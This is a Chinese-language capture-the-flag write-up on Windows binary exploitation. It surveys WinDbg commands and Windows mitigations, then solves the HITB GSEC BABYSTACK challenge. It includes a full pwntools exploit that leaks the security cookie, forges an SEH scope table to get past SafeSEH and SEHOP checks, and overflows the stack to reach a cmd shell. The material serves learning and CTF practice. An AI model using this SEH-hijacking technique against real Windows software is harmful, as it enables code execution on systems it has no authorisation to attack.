HITB GSEC CTF Windows Pwn: BABYSTACK

学习一下Windows下的pwn。

感谢aventador提供的建议:

Setup enviroment

这部分还不是很全面,工具可能不是很全,之后再补充。

  • python2 python3

  • windows 10虚拟机,Parallels Desktop用起来挺舒服的

  • winchecksec,如果报错就装一下vs,windows下的checksec

  • windbg,Windows下的gdb,命令需要重新学一下,我用的是windbg preview

  • 关于起服务,有两个,一个是AppJailLauncher,不过有时候不太好用,推荐使用Ex师傅的win_server。

Debugging

记录一下windbg里面常用的命令。后续补充整理。

  • lmf 列出当前进程中加载的所有dll文件和对应的路径

image-20200129152220196

  • r 命令显示和修改寄存器上的值,d 命令显示esp寄存器指向的内存(默认是db查看)

image-20200129152357521

  • dc 查看内存

数据查看指令 d{a|b|c|d|D|f|p|q|u|w|W}
d{b|c|d|D|f|p|q}分别是显示:
byte&ASCII, double-word&ASCII,double-word,double-precision,float,pointer-sized,quad-word数据

image-20200129152738788

可以通过加L调整输出的长度

image-20200129152949897

  • e 命令可以用来修改内存地址。ed dd可以搭配使用。

image-20200129162955095

  • k 用于现实堆栈信息

栈指令k[b|p|P|v]
这四条指令显示的内容类似,但是每个指令都有特色;

kb显示ebb, return address, arg;

kp显示所有的参数,但需要Full Symbols或Private PDBSymbols支持。KP与Kp相似,只是KP将参数换行显示了;

Kv用于显示FPO和调用约定;

KD,用于显示Stack的Dump,在跟踪栈时比较有用。

image-20200129163414511

  • u 查看反汇编

image-20200129163550662

  • x 查找符号的二进制地址,支持通配符*

image-20200129163925898

  • dds 打印内存地址上的二进制值,类似于gdb里面的tele,处理虚函数表

image-20200129164046903

  • kn和.frame组合使用切换栈帧查看变量

image-20200129164315118

  • bp 设置断点
  • 跟踪指令T,TA,TB,TC,WT,P,PA,PC

T 指令单步执行,在源码调试状态下,可指源码的一行,根据不同的选项也可以为一行ASM指令;
TA 单步跟踪到指定地址,如果没有参数将运行到断点处;

TB 执行到分支指令,分支指令包括calls, returns, jumps, counted loops, and while loops;
TC 执行到Call指令;
WT 一条强大指令,Trace and Watch Data,对执行流程做Profile;

全一点的参考:https://blog.csdn.net/baidu_37503452/article/details/87874534

上面是一些指令,具体调试的方法(带脚本):

  1. 在windows中通过win_server起服务
  2. 在mac中运行pwntools脚本,在需要调试的前面加pause()暂停
  3. windbg attach process连接进程,通过lm指令拿到代码段基地址,计算出需要下断点的指令地址
  4. 下断点
  5. g继续运行,触发断点
  6. 查看内存等信息

Windows Security Mitigations

  • DEP

相当于linux的NX,可以通过ROP或者在JIT页绕过。

  • ASLR

和Linux的PIE和ASLR不太一样。

image-20200129171035459

  • CFG

通过readonly的一个bitmap来判断call的函数是不是合法的。不合法就抛出异常。

基于栈的保护:

  • GS

类似于canary。

image-20200129171307347

  • SEH

windows的异常处理机制。可以在__try __except __finally中体现。

image-20200129184250028

SEH以链的形式存在,第一个异常处理中未处理相关异常,它就会被传递到下一个异常处理器,直到得到处理。SEH是由_EXCEPTION_REGISTRATION_RECORD结构体组成的链表。

1
2
3
4
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
}

Next成员指向下一个_EXCEPTION_REGISTRATION_RECORD结构体指针,handler成员是异常处理函数(异常处理器)。若Next成员的值为0xFFFFFFFF,则表示它是链表最后一个结点。

image-20200129182418689

异常函数Handler定义:

1
2
3
4
5
6
EXCEPTION_DISPOSITION __cdecl _except_handler (
EXCEPTION_RECORD *pRecord, // EXCEPTION_RECORD指针
EXCEPTION_REGISTRATION_RECORD *pFrame,
CONTEXT *pContext, // CONTEXT指针
PVOID pValue
);

EXCEPTION_RECORD的结构:

1
2
3
4
5
6
7
8
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode; //异常代码
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress; //异常发生地址
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

CONTEXT结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
typedef struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

} CONTEXT;

出现异常 ⇒ 运行SEH ⇒ 将CONTEXT指针传给Handler ⇒ 将CONTEXT.Eip赋值给当前的eip,返回到异常处理函数

如果能够伪造这个CONTEXT.Eip就可以劫持执行流了。

参考:https://bbs.pediy.com/thread-249592.htm

  • SafeSEH

SEH加强版,加入了对Handler的合法性检查。

image-20200129183744556

  • SEHOP

检查了SEH Chain的终点是不是ntdll!FinalExceptionHandler。

image-20200129183910879

可以泄露栈地址然后维护一下链来绕过。

基于堆的保护暂且不提,之后遇到题目再学习一下吧。

Reversing

建议IDA和Ghidra都看一下,因为有的时候IDA F5看不出来会被隐藏,尤其是system('cmd')

windows中后门函数就是system('cmd'),或者type flag.txt直接显示flag文件。

这次的demo题目是HITB GSEC CTF 的BABYSTACK,下载在这里。babystack.7z

先winchecksec看一下保护:

image-20200129165858803

查看main函数:

image-20200129165755506

直接泄露栈地址和main函数地址,所以不用考虑ASLR了。之后有10次机会任意地址泄露。如果输入no,有一个栈溢出。在最后有一个异常处理和后门:

image-20200129204625991

这里的后门直接用IDA F5是看不到的。

在任意地址读的功能中,通过atoi函数来读地址,需要用10进制来输入。否则触发异常,进入SEH。

  1. 既然有栈溢出,也有后门函数,代码段地址也知道,是不是可以直接溢出覆盖返回地址为后门呢?不行,因为都被exit函数堵上了。exit函数会切换栈帧,没用。

  2. 那如果我们直接将exception handler的值覆盖为后门函数的地址呢?也不行,因为程序有SafeSEH。合法的handler都存在一个表中,会进行校验,后门函数的地址肯定不在表中。

  3. 触发异常之后handler会调用scope table里的FilterFunc,将它覆盖为后门可不可以呢?答案是可以的。不过有一系列的检查需要绕过。

Hijack Scope Table

栈溢出直接覆盖返回地址不行,但是可以覆盖到scope table那里。

我们先整理一下异常处理的这些结构体都是拿来干啥的。

SEH布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
                                                   Scope Table
+-------------------+
| GSCookieOffset |
+-------------------+
| GSCookieXorOffset |
+-------------------+
EH4 Stack | EHCookieOffset |
+-------------------+ +-------------------+
High | ...... | | EHCookieXorOffset |
+-------------------+ +-------------------+
ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE
+-------------------+ | Level 0 +-------------------+ |
ebp - 04h | TryLevel +---+ | FilterFunc | |
+-------------------+ | +-------------------+ |
ebp - 08h | Scope Table | | | HandlerFunc | |
+-------------------+ | +-------------------+ |
ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000
+-------------------+ Level 1 +-------------------+
ebp - 10h | Next | | FilterFunc |
+-------------------+ +-------------------+
ebp - 14h | ExceptionPointers +----+ | HandlerFunc |
+-------------------+ | +-------------------+
ebp - 18h | esp | |
+-------------------+ | ExceptionPointers
Low | ...... | | +-------------------+
+-------------------+ +----------> ExceptionRecord |
+-------------------+
| ContextRecord |
+-------------------+

Scope table结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct _EH4_SCOPETABLE {
DWORD GSCookieOffset;
DWORD GSCookieXOROffset;
DWORD EHCookieOffset;
DWORD EHCookieXOROffset;
_EH4_SCOPETABLE_RECORD ScopeRecord[1];
};
struct _EH4_SCOPETABLE_RECORD {
DWORD EnclosingLevel;
long (*FilterFunc)();
union {
void (*HandlerAddress)();
void (*FinallyFunc)();
};
};

看一下题目中的:

image-20200305113843344

image-20200305113910713

出现exception之后,会调用scope table里的FilterFunc。如果我们将FilterFunc覆盖为后门函数地址似乎就可以getshell。需要注意的是scope table是在rdata上的,本身是写死的。所以我们只能在栈上伪造一个fake scope table,然后修改栈上的scope table指针。

但是我们是win10的环境,还有一些其他的检查。

  • SEHOP

    • 对SEH链做检查,next指向的链末端需要是[0xffffffff, ntdll!FinalExceptionHandler],所以覆盖的时候需要泄露next指针,覆盖成原来一样的,链不能corrupt。
    • 至于exception handler直接用程序原来的。
  • encode scope table

    • 栈上的scope table最开始push之后会和cookie做一个异或,所以伪造scope table的话,填scope table要填cookie异或之后的,不过程序本身可以任意地址泄露,cookie位置固定,可以直接拿到
  • 栈上的LocalCookie

    • 触发一场后,还对栈上的值有一个校验

    • 1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
      {
      unsigned int v3; // esi@2
      unsigned int v4; // esi@3

      if ( scopeTable->GSCookieOffset != -2 )
      {
      v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
      __guard_check_icall_fptr(cookieCheckFunction);
      ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
      }
      v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
      __guard_check_icall_fptr(cookieCheckFunction);
      ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
      }

      int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
      {
      // 异或解密 scope table
      scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

      // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
      framePointer = (char *)(sehFrame + 16);
      scopeTable = scopeTable_1;

      // 验证 GS
      ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
      __except_validate_context_record(context);

      if ( exceptionRecord->ExceptionFlags & 0x66 )
      {
      ......
      }
      else
      {
      exceptionPointers.ExceptionRecord = exceptionRecord;
      exceptionPointers.ContextRecord = context;
      tryLevel = *(_DWORD *)(sehFrame + 12);
      *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
      if ( tryLevel != -2 )
      {
      while ( 1 )
      {
      v8 = tryLevel + 2 * (tryLevel + 2);
      filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
      scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
      encloseingLevel = scopeTableRecord->EnclosingLevel;
      scopeTableRecord_1 = scopeTableRecord;
      if ( filterFunc )
      {
      // 调用 FilterFunc
      filterFuncRet = _EH4_CallFilterFunc(filterFunc);
      ......
      if ( filterFuncRet > 0 )
      {
      ......
      // 调用 HandlerFunc
      _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
      ......
      }
      }
      ......
      tryLevel = encloseingLevel;
      if ( encloseingLevel == -2 )
      break;
      scopeTable_1 = scopeTable;
      }
      ......
      }
      }
      ......
      }
    • 会根据scope table中的GSCookieOffset和GSCookieXOROffset算一个值,需要等于ebp和cookie异或。

    • 参考:https://luobuming.github.io/2019/10/07/2019-10-09-SEH%E7%9A%84%E6%A6%82%E5%BF%B5%E5%8F%8A%E5%9F%BA%E6%9C%AC%E7%9F%A5%E8%AF%86/#1-TIB%E7%BB%93%E6%9E%84

    • 伪造的时候我们直接用原本的scope table,然后计算一下对应LocalCookie的位置和值就可以了。

Payload layout

画一个大概的图:

image-20200305123212004

完整的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *

context.log_level='debug'
p = remote('10.211.55.6', 6666)

def get_value(address):
p.recvuntil('Do you want to know more?')
p.sendline('yes')
p.recvuntil('Where do you want to know')
p.sendline(str(address))
p.recvuntil('value is ')
value = int(p.recvuntil('\n', drop=True), 16)
return value

p.recvuntil('stack address =')
stack = int(p.recvuntil('\n', drop=True), 16)
log.info('stack: '+hex(stack))

p.recvuntil('main address =')
main = int(p.recvuntil('\n', drop=True), 16)
log.info('main: '+hex(main))

cookie_addr = main-0x5e10b0+0x005e4004
log.info('cookie address: '+hex(cookie_addr))

cookie = get_value(cookie_addr)
log.info('cookie: '+hex(cookie))

'''
ouch! Do not kill me , I will tell you everything
stack address = 0x317fd50
main address = 0xa210b0
Do you want to know more?

0:000> dds 0317fddc L8
0317fddc 0317fe24 next
0317fde0 00a21460 babystack+0x1460 except handler
0317fde4 00a23688 babystack+0x3688 scope table
0317fde8 fffffffe try level
0317fdec 0317fe34
0317fdf0 00a2167a babystack+0x167a
0317fdf4 00000001
0317fdf8 03534e78

0:000> dds 0317fe24 L1
0317fe24 0317fe90
0:000> dds 0317fe90 L1
0317fe90 0317fea8
0:000> dds 0317fea8 L1
0317fea8 ffffffff
'''

log.info('try_level at: '+hex(stack-0x317fd50+0x0317fde8))
encode_scope_address = stack-0x317fd50+0x0317fde4
log.info('encode scope table at:'+hex(encode_scope_address))
# log.info('scope table = '+hex(get_value(encode_scope_address^cookie)))
log.info('except handler at: '+hex(stack-0x317fd50+0x0317fde0))
next_addr = stack-0x317fd50+0x0317fddc
log.info('next at: '+hex(next_addr))

encode_scope_table = get_value(encode_scope_address)
log.info('encode scope table: '+hex(encode_scope_table))
scope_table = encode_scope_table^cookie
log.info('scope table: '+hex(scope_table))
next_ptr = get_value(next_addr)
log.info('next: '+hex(next_ptr))
ebp = stack+0x9c
log.info('ebp: '+hex(ebp))

p.recvuntil('Do you want to know more?')
p.sendline('nooo')
# overflow

backdoor = main-0x10b0+0x138D # system('cmd')

fake_scope = [
0x0FFFFFFE4, # GSCookieOffset
0, # GSCookieXOROffset
0x0FFFFFF20, # EHCookieOffset
0, # EHCookieXOROffset
0x0FFFFFFFE, # ScopeRecord.EnclosingLevel
backdoor # ScopeRecord.FilterFunc
]

'''
|-input
02b2fbb0 6f6f6f6e 02b2fb00 7631dce8 00000000
02b2fbc0 030b3560 00000000 00000008 763ef060
02b2fbd0 030b6a98 00000000 02b2fbf0 02b2fc08
02b2fbe0 7631dcc7 00000000 00000004 02c5e000
02b2fbf0 02b2fc08 779601c9 02b2fc10 76abebcb
02b2fc00 00000002 02b2fc0c 00000000 cebd74a7
02b2fc10 02b2fc30 76307866 00000000 00a230dc
02b2fc20 00000000 00a21570 763227f6 00000001
02b2fc30 680dc267 02b2fb6c 00000000 02b2fc84<-next
02b2fc40 00a21460 6a1d08a3 00000000 02b2fc94
'''

exception_handler = main-0x10b0+0x1460
fake_scope_addr = stack+0x10

pl = '' # start from ebp-0x9c
pl += 0x10*'a' # padding, buffer
pl += flat(fake_scope).ljust(0x80-0x10, 'a')
pl += p32(ebp^cookie)
pl += 8*'a'
pl += p32(next_ptr)
pl += p32(exception_handler)
pl += p32(fake_scope_addr^cookie)
pl += p32(0)

# pause()
p.sendline(pl)
p.recvuntil('Do you want to know more?')
p.sendline('yes')
p.recvuntil('Where do you want to know')
p.sendline('0')

p.interactive()

在调试的时候都是通过偏移来找值的。

在算LocalCookie的时候,有一个0x80是怎么来的:

  • stack是ebp-0x9c, IDA里可以看到
  • scope table里面GSCookieOffset是0x0FFFFFFE4,也就是-28(-0x1c),也就是LocalCookie是在ebp-0x1c的位置
  • 所以填充到LocalCookie前先把0x9c-0x1c=0x80先填充了。

最开始填充0x10个a是给输入的”yes””no”留的空间。